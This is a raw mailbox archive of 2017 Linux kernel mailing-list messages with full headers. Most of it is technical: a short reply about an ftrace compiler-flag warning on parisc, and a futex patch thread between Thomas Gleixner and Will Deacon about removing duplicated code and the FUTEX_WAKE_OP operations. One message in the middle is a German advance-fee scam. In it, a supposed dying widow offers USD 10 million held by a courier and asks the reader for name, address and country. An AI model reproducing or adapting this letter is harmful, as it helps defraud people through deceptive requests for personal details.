         7p5ef9/OPOVdGMjbnLH1XOo4crPdquyd6wpSyR/O3ndaZE+2nOl6NGS591BWziEuXKkU
         qHsMqvvzRPK353I8FeauFaOK29PTt1fl/hCynU6REhgaYOS7ZFv5doi8SPSceOSkJR99
         JHljeG8jlYNaJafIjUyW2F/NW6XpgQTPNldrsKGSq8IMqYn2jld9IFAeHXkArEdCUNjD
         a9uQ==
X-Gm-Message-State: AODbwcDSVinxXwjdx0iLKZGOotM6BGuWf8cyoHVD3H8adbhF6EGWUaor
        kFwt8pzSC+jis/gLuRo+hj30T60IGg==
X-Received: by 10.157.17.217 with SMTP id y25mr13576723oty.137.1495487289079;
 Mon, 22 May 2017 14:08:09 -0700 (PDT)
Original-Received: by 10.157.66.2 with HTTP; Mon, 22 May 2017 14:08:08 -0700 (PDT)
In-Reply-To: <1DB2BE11-27B3-4E33-BD6C-539493145081@bell.net>
X-Google-Sender-Auth: pruxG6A_7iZEnqhNXJ3zuQi67zs
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27430 gmane.linux.kernel:2481063
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27430>

On Mon, May 22, 2017 at 8:46 PM, John David Anglin <dave.anglin@bell.net> wrote:
> On 2017-05-22, at 5:49 AM, Geert Uytterhoeven wrote:
>
>>> [Deleted 1166 lines about "warning: -ffunction-sections disabled; it makes profiling impossible [enabled by default]" on parisc-allmodconfig]
>
> Although this issue may be fixed in gcc, do we really want to enable profiling by default?

This is ftrace, which uses the same compiler flag as gprof, and the option
is only enabled in allmodconfig, which seems reasonable.

       Arnd
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 1/1] futex: remove duplicated code
Date: Mon, 22 May 2017 23:11:33 +0200 (CEST)
Lines: 38
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.20.1705222259580.2407@nanos>
References: <20170515130742.18357-1-jslaby@suse.cz>
 <20170515131644.GA3605@arm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1495487582 15413 195.159.176.226 (22 May 2017 21:13:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 22 May 2017 21:13:02 +0000 (UTC)
User-Agent: Alpine 2.20 (DEB 67 2015-01-07)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Max Filippov <jcmvbkbc@gmail.com>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
 Jiri Slaby <jslaby@suse.cz>, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-arch@vger.kernel.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>, x86@kernel.org,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 linux-snps-arc@lists.infradead.org, Fenghua Yu <fenghua.yu@intel.com>,
 Arnd Bergmann <arnd@arndb.de>, linux-xtensa@linux-xtensa.org,
 Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
To: Will Deacon <will.deacon@arm.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Mon May 22 23:12:53 2017
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1dCudJ-0003jG-1y
	for gla-linux-snps-arc@m.gmane.org; Mon, 22 May 2017 23:12:53 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:Message-ID:
	In-Reply-To:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=K8pT/xaSjgAEhVSSmZnuJ8B9u/8RxsUit+1OX3ui+wU=; b=EA6idWCOnC4+Qa
	OTzE6QR0B3qkGrHFGL7gbC5cw24tl9fUkB0mNhdHckGGvSfgoNOQGfxVg0YPmmpaUgxpMtq55F3MF
	iqiMfIcNT1xYzAlXsTsxiXthTHyajI1uFGszU424nt06XuKsiQ9gR2jrA/c1PQasBxTZLXgymBSfZ
	J+6YVcrJURDFB1kac+4DB9pEoOhecaQ6qdYSNanSj9oZ4I2ARpIWHyINdlC7XyOegK3Mma41QVXlc
	B7ajYxhYZQtOsgeEhh0Vp2ZShYlVN43qjzny1DWOLq5TsGsKr2XAbbF2wlKVDjBd2H3u9YHm7fhok
	0xkMEEv2xPuQ/xnRRmZw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1dCudM-00036z-4t; Mon, 22 May 2017 21:12:56 +0000
Original-Received: from galois.linutronix.de ([2a01:7a0:2:106d:700::1])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1dCudI-00033t-Fw; Mon, 22 May 2017 21:12:54 +0000
Original-Received: from localhost ([127.0.0.1])
 by Galois.linutronix.de with esmtps (TLS1.2:DHE_RSA_AES_256_CBC_SHA256:256)
 (Exim 4.80) (envelope-from <tglx@linutronix.de>)
 id 1dCuc1-00015I-TW; Mon, 22 May 2017 23:11:34 +0200
In-Reply-To: <20170515131644.GA3605@arm.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170522_141252_686120_32399134 
X-CRM114-Status: GOOD (  17.09  )
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:2395 gmane.linux.ports.mips.general:59102 gmane.linux.ports.ia64:27802 gmane.linux.ports.sh.devel:55255 gmane.linux.ports.sparc:25092 gmane.linux.kernel.cross-arch:36581 gmane.linux.ports.hexagon:1195 gmane.linux.ports.arm.kernel:579399 gmane.linux.ports.parisc:27431 gmane.linux.kernel:2481071 gmane.linux.ports.alpha:4198 gmane.linux.ports.ppc64.devel:142378
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/2395>

On Mon, 15 May 2017, Will Deacon wrote:
> Hi Jiri,
> 
> On Mon, May 15, 2017 at 03:07:42PM +0200, Jiri Slaby wrote:
> > There is code duplicated over all architecture's headers for
> > futex_atomic_op_inuser. Namely op decoding, access_ok check for uaddr,
> > and comparison of the result.
> > 
> > Remove this duplication and leave up to the arches only the needed
> > assembly which is now in arch_futex_atomic_op_inuser.
> > 
> > Note that s390 removed access_ok check in d12a29703 ("s390/uaccess:
> > remove pointless access_ok() checks") as access_ok there returns true.
> > We introduce it back to the helper for the sake of simplicity (it gets
> > optimized away anyway).
> 
> Whilst I think this is a good idea, the code in question actually results
> in undefined behaviour per the C spec and is reported by UBSAN. See my
> patch fixing arm64 here (which I'd forgotten about):
> 
> https://www.spinics.net/lists/linux-arch/msg38564.html
> 
> But, as stated in the thread above, I think we should go a step further
> and remove FUTEX_OP_{OR,ANDN,XOR,OPARG_SHIFT} altogether. They don't
> appear to be used by userspace, and this whole thing is a total mess.

You wish. The constants are not used, but FUTEX_WAKE_OP _IS_ used by
glibc. They only have one argument it seems:

   #define FUTEX_OP_CLEAR_WAKE_IF_GT_ONE      ((4 << 24) | 1)

but I'm pretty sure that there is enough (probably horrible) code (think
java) out there using FUTEX_WAKE_OP for whatever (non)sensical reasons in
any available combination.

Thanks,

	tglx

From - Thu Nov 08 21:39:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Will Deacon <will.deacon@arm.com>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/1] futex: remove duplicated code
Date: Thu, 25 May 2017 15:28:30 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <20170525142829.GO2859@arm.com>
References: <20170515130742.18357-1-jslaby@suse.cz>
 <20170515131644.GA3605@arm.com>
 <alpine.DEB.2.20.1705222259580.2407@nanos>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1495722514 24880 195.159.176.226 (25 May 2017 14:28:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 25 May 2017 14:28:34 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Jiri Slaby <jslaby@suse.cz>, linux-kernel@vger.kernel.org,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Martin Schwidefsky <schwidefsky@de.ibm
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-hexagon-owner@vger.kernel.org Thu May 25 16:28:26 2017
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1dDtkX-0003nA-7y
	for glphk-linux-hexagon@m.gmane.org; Thu, 25 May 2017 16:28:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933001AbdEYO2a (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
        Thu, 25 May 2017 10:28:30 -0400
Original-Received: from foss.arm.com ([217.140.101.70]:50716 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S966122AbdEYO22 (ORCPT <rfc822;linux-hexagon@vger.kernel.org>);
        Thu, 25 May 2017 10:28:28 -0400
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 976B5344;
        Thu, 25 May 2017 07:28:27 -0700 (PDT)
Original-Received: from edgewater-inn.cambridge.arm.com (usa-sjc-imap-foss1.foss.arm.com [10.72.51.249])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id 639EB3F5AD;
        Thu, 25 May 2017 07:28:27 -0700 (PDT)
Original-Received: by edgewater-inn.cambridge.arm.com (Postfix, from userid 1000)
        id 76C171AE33D9; Thu, 25 May 2017 15:28:30 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <alpine.DEB.2.20.1705222259580.2407@nanos>
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:1196 gmane.linux.kernel:2484350 gmane.linux.ports.alpha:4201 gmane.linux.kernel.arc:2422 gmane.linux.ports.arm.kernel:580231 gmane.linux.ports.ia64:27803 gmane.linux.ports.mips.general:59180 gmane.linux.ports.parisc:27432 gmane.linux.ports.ppc64.devel:142488 gmane.linux.ports.sh.devel:55304 gmane.linux.ports.sparc:25161 gmane.linux.kernel.cross-arch:36723
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/1196>

On Mon, May 22, 2017 at 11:11:33PM +0200, Thomas Gleixner wrote:
> On Mon, 15 May 2017, Will Deacon wrote:
> > On Mon, May 15, 2017 at 03:07:42PM +0200, Jiri Slaby wrote:
> > > There is code duplicated over all architecture's headers for
> > > futex_atomic_op_inuser. Namely op decoding, access_ok check for uaddr,
> > > and comparison of the result.
> > > 
> > > Remove this duplication and leave up to the arches only the needed
> > > assembly which is now in arch_futex_atomic_op_inuser.
> > > 
> > > Note that s390 removed access_ok check in d12a29703 ("s390/uaccess:
> > > remove pointless access_ok() checks") as access_ok there returns true.
> > > We introduce it back to the helper for the sake of simplicity (it gets
> > > optimized away anyway).
> > 
> > Whilst I think this is a good idea, the code in question actually results
> > in undefined behaviour per the C spec and is reported by UBSAN. See my
> > patch fixing arm64 here (which I'd forgotten about):
> > 
> > https://www.spinics.net/lists/linux-arch/msg38564.html
> > 
> > But, as stated in the thread above, I think we should go a step further
> > and remove FUTEX_OP_{OR,ANDN,XOR,OPARG_SHIFT} altogether. They don't
> > appear to be used by userspace, and this whole thing is a total mess.
> 
> You wish. The constants are not used, but FUTEX_WAKE_OP _IS_ used by
> glibc. They only have one argument it seems:
> 
>    #define FUTEX_OP_CLEAR_WAKE_IF_GT_ONE      ((4 << 24) | 1)
> 
> but I'm pretty sure that there is enough (probably horrible) code (think
> java) out there using FUTEX_WAKE_OP for whatever (non)sensical reasons in
> any available combination.

Indeed, and I'm not proposing to get rid of that. It's the grossly
over-engineered array of operations and the FUTEX_OP_OPARG_SHIFT modifier
that I think we should kill. The latter likely behaves differently across
different architectures and potentially depending on the toolchain you used
to build the kernel.

Does anybody know the history behind the interface design?

Will

From - Thu Nov 08 21:39:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Hubert Guillaud <guillaud.h@grenoble.archi.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Ich brauche deine Hilfe!
Date: Fri, 26 May 2017 07:06:14 +0200 (CEST)
Lines: 30
Approved: news@gmane.org
Message-ID: <567021.6638336.1495775174176.JavaMail.zimbra__24575.3951291137$1495775764$gmane$org@grenoble.archi.fr>
References: <2051365398.6634028.1495769859274.JavaMail.zimbra@grenoble.archi.fr>
Reply-To: kdafdas988@outlook.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1495775764 8600 195.159.176.226 (26 May 2017 05:16:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 26 May 2017 05:16:04 +0000 (UTC)
To: kdafdas988@outlook.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 26 07:16:00 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dE7bR-00024j-RK
	for glpp-linux-parisc@m.gmane.org; Fri, 26 May 2017 07:15:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1037006AbdEZFPg convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 26 May 2017 01:15:36 -0400
Original-Received: from mailserver.grenoble.archi.fr ([194.199.194.131]:60910 "EHLO
        zimbra.grenoble.archi.fr" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965069AbdEZFPe (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 26 May 2017 01:15:34 -0400
X-Greylist: delayed 445 seconds by postgrey-1.27 at vger.kernel.org; Fri, 26 May 2017 01:15:32 EDT
Original-Received: from zimbra.grenoble.archi.fr (localhost [127.0.0.1])
        by zimbra.grenoble.archi.fr (Postfix) with ESMTPS id C2FA188FD54;
        Fri, 26 May 2017 07:06:31 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by zimbra.grenoble.archi.fr (Postfix) with ESMTP id 1D9BA88FD6B;
        Fri, 26 May 2017 07:06:19 +0200 (CEST)
Original-Received: from zimbra.grenoble.archi.fr ([127.0.0.1])
        by localhost (zimbra.grenoble.archi.fr [127.0.0.1]) (amavisd-new, port 10026)
        with ESMTP id wG_PTZV6nRj9; Fri, 26 May 2017 07:06:18 +0200 (CEST)
Original-Received: from zimbra.grenoble.archi.fr (zimbra.grenoble.archi.fr [192.168.2.131])
        by zimbra.grenoble.archi.fr (Postfix) with ESMTP id 725A088FC90;
        Fri, 26 May 2017 07:06:14 +0200 (CEST)
In-Reply-To: <2051365398.6634028.1495769859274.JavaMail.zimbra@grenoble.archi.fr>
X-Originating-IP: [197.237.215.136]
X-Mailer: Zimbra 8.6.0_GA_1200 (zclient/8.6.0_GA_1200)
Thread-Topic: Ich brauche deine Hilfe!
Thread-Index: luOYsgNQhSAo1GLNXb7hZpBnExjvL2VuloUo
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27433
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27433>

Lieber Freund,

Ich bin Frau Dionisia Denis Perman aus Island, verheiratet mit Late Engineer
Denis Perman {PhD}, der mit MULTINATIONAL OIL COMPANY EXXON AS A gearbeitet hat
DRILLING RIG SUPPLIER in Kuwait seit 19 Jahren, bevor er auf der
22. August 2009. Wir waren seit vierundzwanzig Jahren verheiratet
Kind. Er starb nach einer kurzen Krankheit, die nur vier Tage dauerte.
Vor seinem Tod hat er die Summe von USD 10.142.728,00 Dollar
Mit einer Kurierfirma in Indien und dieser Fonds ist derzeit mit dem Kurier warten auf meine
Auszahlung als Begünstigter und nächste Angehörige der Mittel. Kürzlich, meine
Doktor sagte mir, dass ich nicht für die nächsten acht Monate dauern würde
Krebsproblem Nachdem ich meinen Zustand gekannt habe, habe ich beschlossen, dies zu spenden
Fonds für eine Kirche, Organisation oder gute Person, die dies nutzen wird
Geld in gutem Glauben.

Ich habe diese Entscheidung getroffen, weil ich kein Kind habe, das erben wird
dieses Geld. Ich hielt diese Kaution bis heute; Deshalb bin ich
Diese Entscheidung treffen Ich glaube nicht, dass ich ein Telefon brauchen werde
Kommunikation in dieser Hinsicht wegen der Vertraulichkeit dieser
Transaktion. Nach deiner Antwort werde ich dir den Kontakt des Kuriers geben. ich
Wird auch ein Genehmigungsschreiben an den Kurier ausstellen, der beweisen wird
Sie der gegenwärtige Begünstigte dieses Geldes. So solltest du mir deine Adresse, deinen Namen, dein Land und deine Hand schicken.

Erwarten Sie Ihre Antworten und Gott segnen Sie.
Frau Dionisia Denis Perman
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 1/1] futex: remove duplicated code
Date: Fri, 26 May 2017 08:54:31 +0200 (CEST)
Lines: 50
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.20.1705260849520.1902@nanos>
References: <20170515130742.18357-1-jslaby@suse.cz>
 <20170515131644.GA3605@arm.com> <alpine.DEB.2.20.1705222259580.2407@nanos>
 <20170525142829.GO2859@arm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1495781756 32585 195.159.176.226 (26 May 2017 06:55:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 26 May 2017 06:55:56 +0000 (UTC)
User-Agent: Alpine 2.20 (DEB 67 2015-01-07)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Max Filippov <jcmvbkbc@gmail.com>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
 Jiri Slaby <jslaby@suse.cz>, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-arch@vger.kernel.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>, x86@kernel.org,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 linux-snps-arc@lists.infradead.org, Fenghua Yu <fenghua.yu@intel.com>,
 Arnd Bergmann <arnd@arndb.de>, linux-xtensa@linux-xtensa.org,
 Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
To: Will Deacon <will.deacon@arm.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri May 26 08:55:47 2017
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1dE9A2-0008Fq-7Y
	for gla-linux-snps-arc@m.gmane.org; Fri, 26 May 2017 08:55:46 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:Message-ID:
	In-Reply-To:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=esObVUTYNh4Gbyerrfezzc/mLeFy1PAd/Q0RC+ZGzBo=; b=pYaLaIjjGW/wSc
	neaz35xOajC/MFrQGBFegsU597EvoU18gSNW6m6WWrqCSubvBBE3H9S3p3p+uAwpfsl5EA5yS5Aw2
	Hynb/E2HV2e8BdmxI+ujhfUfilRO8ahy9m36oSFcBhs1Vu1r5yQRUDyS/O79MHm2uejGz7c+7U5tr
	NB2/pS5A95tR4YxIJ8v4PFCMmgy7tSyAQu03ftWn+LOZNCQnxnzonmzKZlZtteh8iO5+leAvSMETv
	s7Kul7vPXi9KtpCmpW6H0VOHFVE0luYum3AXN1DipseqbcrT/ALvUvg2WM363NNmHkpWc9fgx8tnl
	EYOe7iydMf6Jty9Zs3Mw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1dE9A7-0008HQ-IZ; Fri, 26 May 2017 06:55:51 +0000
Original-Received: from galois.linutronix.de ([2a01:7a0:2:106d:700::1])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1dE9A3-0007zx-Na; Fri, 26 May 2017 06:55:49 +0000
Original-Received: from localhost ([127.0.0.1])
 by Galois.linutronix.de with esmtps (TLS1.2:DHE_RSA_AES_256_CBC_SHA256:256)
 (Exim 4.80) (envelope-from <tglx@linutronix.de>)
 id 1dE98i-0001Q5-2k; Fri, 26 May 2017 08:54:24 +0200
In-Reply-To: <20170525142829.GO2859@arm.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170525_235547_929156_85617261 
X-CRM114-Status: GOOD (  23.04  )
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:2424 gmane.linux.ports.mips.general:59191 gmane.linux.ports.ia64:27804 gmane.linux.ports.sh.devel:55305 gmane.linux.ports.sparc:25173 gmane.linux.kernel.cross-arch:36754 gmane.linux.ports.hexagon:1197 gmane.linux.ports.arm.kernel:580353 gmane.linux.ports.parisc:27434 gmane.linux.kernel:2484930 gmane.linux.ports.alpha:4202 gmane.linux.ports.ppc64.devel:142505
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/2424>

On Thu, 25 May 2017, Will Deacon wrote:
> On Mon, May 22, 2017 at 11:11:33PM +0200, Thomas Gleixner wrote:
> > On Mon, 15 May 2017, Will Deacon wrote:
> > > On Mon, May 15, 2017 at 03:07:42PM +0200, Jiri Slaby wrote:
> > > > There is code duplicated over all architecture's headers for
> > > > futex_atomic_op_inuser. Namely op decoding, access_ok check for uaddr,
> > > > and comparison of the result.
> > > > 
> > > > Remove this duplication and leave up to the arches only the needed
> > > > assembly which is now in arch_futex_atomic_op_inuser.
> > > > 
> > > > Note that s390 removed access_ok check in d12a29703 ("s390/uaccess:
> > > > remove pointless access_ok() checks") as access_ok there returns true.
> > > > We introduce it back to the helper for the sake of simplicity (it gets
> > > > optimized away anyway).
> > > 
> > > Whilst I think this is a good idea, the code in question actually results
> > > in undefined behaviour per the C spec and is reported by UBSAN. See my
> > > patch fixing arm64 here (which I'd forgotten about):
> > > 
> > > https://www.spinics.net/lists/linux-arch/msg38564.html
> > > 
> > > But, as stated in the thread above, I think we should go a step further
> > > and remove FUTEX_OP_{OR,ANDN,XOR,OPARG_SHIFT} altogether. They don't
> > > appear to be used by userspace, and this whole thing is a total mess.
> > 
